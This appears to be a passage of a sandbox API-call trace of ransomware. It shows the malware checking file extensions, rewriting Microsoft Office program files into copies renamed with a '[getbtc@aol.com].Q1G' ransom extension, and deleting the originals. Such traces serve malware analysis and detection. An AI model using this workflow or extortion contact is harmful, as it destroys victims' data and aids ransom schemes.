lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.726] lstrlenW (lpString=".doc") returned 4 [0258.726] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0258.726] lstrlenW (lpString=".docx") returned 5 [0258.726] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0258.726] lstrlenW (lpString=".pdf") returned 4 [0258.726] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.726] lstrlenW (lpString=".xls") returned 4 [0258.726] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.726] lstrlenW (lpString=".xlsx") returned 5 [0258.726] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0258.726] lstrlenW (lpString=".ppt") returned 4 [0258.726] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.726] lstrlenW (lpString=".zip") returned 4 [0258.726] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.726] lstrlenW (lpString=".rar") returned 4 [0258.726] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.726] lstrlenW (lpString=".bz2") returned 4 [0258.726] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.726] lstrlenW (lpString=".7z") returned 3 [0258.726] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.726] lstrlenW (lpString=".dbf") returned 4 [0258.726] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.726] lstrlenW (lpString=".1cd") returned 4 [0258.726] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.726] lstrlenW (lpString=".jpg") returned 4 [0258.726] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.727] lstrlenW (lpString=".doc") returned 4 [0258.727] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0258.727] lstrlenW (lpString=".docx") returned 5 [0258.727] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1 [0258.727] lstrlenW (lpString=".pdf") returned 4 [0258.727] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0258.727] lstrlenW (lpString=".xls") returned 4 [0258.727] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0258.727] lstrlenW (lpString=".xlsx") returned 5 [0258.727] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1 [0258.727] lstrlenW (lpString=".ppt") returned 4 [0258.727] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0258.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.727] lstrlenW (lpString=".zip") returned 4 [0258.727] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0258.727] lstrlenW (lpString=".rar") returned 4 [0258.727] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0258.727] lstrlenW (lpString=".bz2") returned 4 [0258.727] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0258.727] lstrlenW (lpString=".7z") returned 3 [0258.727] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0258.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.727] lstrlenW (lpString=".dbf") returned 4 [0258.727] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0258.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.727] lstrlenW (lpString=".1cd") returned 4 [0258.727] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0258.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL") returned 54 [0258.727] lstrlenW (lpString=".jpg") returned 4 [0258.727] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0258.727] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0258.728] lstrlenW (lpString="BSTORM.DLL") returned 10 [0258.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.147] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=947072) returned 1 [0259.147] CloseHandle (hObject=0x3b4) returned 1 [0259.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll")) returned 0x20 [0259.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.148] lstrlenW (lpString=".doc") returned 4 [0259.148] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.148] lstrlenW (lpString=".docx") returned 5 [0259.148] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0259.148] lstrlenW (lpString=".pdf") returned 4 [0259.148] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.148] lstrlenW (lpString=".xls") returned 4 [0259.148] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.148] lstrlenW (lpString=".xlsx") returned 5 [0259.148] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0259.148] lstrlenW (lpString=".ppt") returned 4 [0259.148] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.148] lstrlenW (lpString=".zip") returned 4 [0259.148] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.148] lstrlenW (lpString=".rar") returned 4 [0259.148] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.148] lstrlenW (lpString=".bz2") returned 4 [0259.148] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.148] lstrlenW (lpString=".7z") returned 3 [0259.148] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.148] lstrlenW (lpString=".dbf") returned 4 [0259.148] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.148] lstrlenW (lpString=".1cd") returned 4 [0259.148] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.148] lstrlenW (lpString=".jpg") returned 4 [0259.148] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.149] lstrlenW (lpString=".doc") returned 4 [0259.149] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.149] lstrlenW (lpString=".docx") returned 5 [0259.149] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0259.149] lstrlenW (lpString=".pdf") returned 4 [0259.149] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.149] lstrlenW (lpString=".xls") returned 4 [0259.149] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.149] lstrlenW (lpString=".xlsx") returned 5 [0259.149] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0259.149] lstrlenW (lpString=".ppt") returned 4 [0259.149] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.149] lstrlenW (lpString=".zip") returned 4 [0259.149] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.149] lstrlenW (lpString=".rar") returned 4 [0259.149] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.149] lstrlenW (lpString=".bz2") returned 4 [0259.149] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.149] lstrlenW (lpString=".7z") returned 3 [0259.149] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.149] lstrlenW (lpString=".dbf") returned 4 [0259.149] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.149] lstrlenW (lpString=".1cd") returned 4 [0259.149] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0259.149] lstrlenW (lpString=".jpg") returned 4 [0259.149] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.149] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.149] lstrlenW (lpString="OLMAILR.FAE") returned 11 [0259.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.150] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=10160) returned 1 [0259.150] CloseHandle (hObject=0x3b4) returned 1 [0259.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 0x20 [0259.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.150] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.151] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0259.152] GetLastError () returned 0x0 [0259.152] ReadFile (in: hFile=0x3b4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x27b0, lpOverlapped=0x0) returned 1 [0259.163] WriteFile (in: hFile=0x3b0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x27c0, lpOverlapped=0x0) returned 1 [0259.164] ReadFile (in: hFile=0x3b4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.164] WriteFile (in: hFile=0x3b0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0259.164] SetEndOfFile (hFile=0x3b0) returned 1 [0259.164] CloseHandle (hObject=0x3b0) returned 1 [0259.164] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.164] SetEndOfFile (hFile=0x3b4) returned 1 [0259.168] CloseHandle (hObject=0x3b4) returned 1 [0259.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 1 [0259.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.169] lstrlenW (lpString=".doc") returned 4 [0259.169] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.169] lstrlenW (lpString=".docx") returned 5 [0259.169] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.169] lstrlenW (lpString=".pdf") returned 4 [0259.170] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.170] lstrlenW (lpString=".xls") returned 4 [0259.170] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.170] lstrlenW (lpString=".xlsx") returned 5 [0259.170] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.170] lstrlenW (lpString=".ppt") returned 4 [0259.170] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.170] lstrlenW (lpString=".zip") returned 4 [0259.170] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.170] lstrlenW (lpString=".rar") returned 4 [0259.170] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.170] lstrlenW (lpString=".bz2") returned 4 [0259.170] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.170] lstrlenW (lpString=".7z") returned 3 [0259.170] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.170] lstrlenW (lpString=".dbf") returned 4 [0259.170] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.170] lstrlenW (lpString=".1cd") returned 4 [0259.170] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.170] lstrlenW (lpString=".jpg") returned 4 [0259.170] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.170] lstrlenW (lpString=".doc") returned 4 [0259.170] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.170] lstrlenW (lpString=".docx") returned 5 [0259.170] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.170] lstrlenW (lpString=".pdf") returned 4 [0259.170] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.170] lstrlenW (lpString=".xls") returned 4 [0259.170] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.170] lstrlenW (lpString=".xlsx") returned 5 [0259.170] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.171] lstrlenW (lpString=".ppt") returned 4 [0259.171] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.171] lstrlenW (lpString=".zip") returned 4 [0259.171] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.171] lstrlenW (lpString=".rar") returned 4 [0259.171] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.171] lstrlenW (lpString=".bz2") returned 4 [0259.171] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.171] lstrlenW (lpString=".7z") returned 3 [0259.171] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.171] lstrlenW (lpString=".dbf") returned 4 [0259.171] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.171] lstrlenW (lpString=".1cd") returned 4 [0259.171] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0259.171] lstrlenW (lpString=".jpg") returned 4 [0259.171] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.171] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.171] lstrlenW (lpString="OLNOTER.FAE") returned 11 [0259.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.172] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=9648) returned 1 [0259.172] CloseHandle (hObject=0x3b4) returned 1 [0259.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 0x20 [0259.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.172] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.172] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0259.173] GetLastError () returned 0x0 [0259.173] ReadFile (in: hFile=0x3b4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x25b0, lpOverlapped=0x0) returned 1 [0259.184] WriteFile (in: hFile=0x3b0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x25c0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x25c0, lpOverlapped=0x0) returned 1 [0259.185] ReadFile (in: hFile=0x3b4, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.185] WriteFile (in: hFile=0x3b0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0259.185] SetEndOfFile (hFile=0x3b0) returned 1 [0259.185] CloseHandle (hObject=0x3b0) returned 1 [0259.185] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.185] SetEndOfFile (hFile=0x3b4) returned 1 [0259.187] CloseHandle (hObject=0x3b4) returned 1 [0259.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 1 [0259.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.188] lstrlenW (lpString=".doc") returned 4 [0259.188] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.188] lstrlenW (lpString=".docx") returned 5 [0259.188] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.188] lstrlenW (lpString=".pdf") returned 4 [0259.188] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.188] lstrlenW (lpString=".xls") returned 4 [0259.188] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.188] lstrlenW (lpString=".xlsx") returned 5 [0259.188] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.188] lstrlenW (lpString=".ppt") returned 4 [0259.188] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.188] lstrlenW (lpString=".zip") returned 4 [0259.188] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.188] lstrlenW (lpString=".rar") returned 4 [0259.188] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.188] lstrlenW (lpString=".bz2") returned 4 [0259.188] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.188] lstrlenW (lpString=".7z") returned 3 [0259.188] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.188] lstrlenW (lpString=".dbf") returned 4 [0259.189] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.189] lstrlenW (lpString=".1cd") returned 4 [0259.189] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.189] lstrlenW (lpString=".jpg") returned 4 [0259.189] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.189] lstrlenW (lpString=".doc") returned 4 [0259.189] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.189] lstrlenW (lpString=".docx") returned 5 [0259.189] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0259.189] lstrlenW (lpString=".pdf") returned 4 [0259.189] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.189] lstrlenW (lpString=".xls") returned 4 [0259.189] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.189] lstrlenW (lpString=".xlsx") returned 5 [0259.189] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0259.189] lstrlenW (lpString=".ppt") returned 4 [0259.189] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.189] lstrlenW (lpString=".zip") returned 4 [0259.189] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.189] lstrlenW (lpString=".rar") returned 4 [0259.189] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.189] lstrlenW (lpString=".bz2") returned 4 [0259.189] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.189] lstrlenW (lpString=".7z") returned 3 [0259.189] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0259.189] lstrlenW (lpString=".dbf") returned 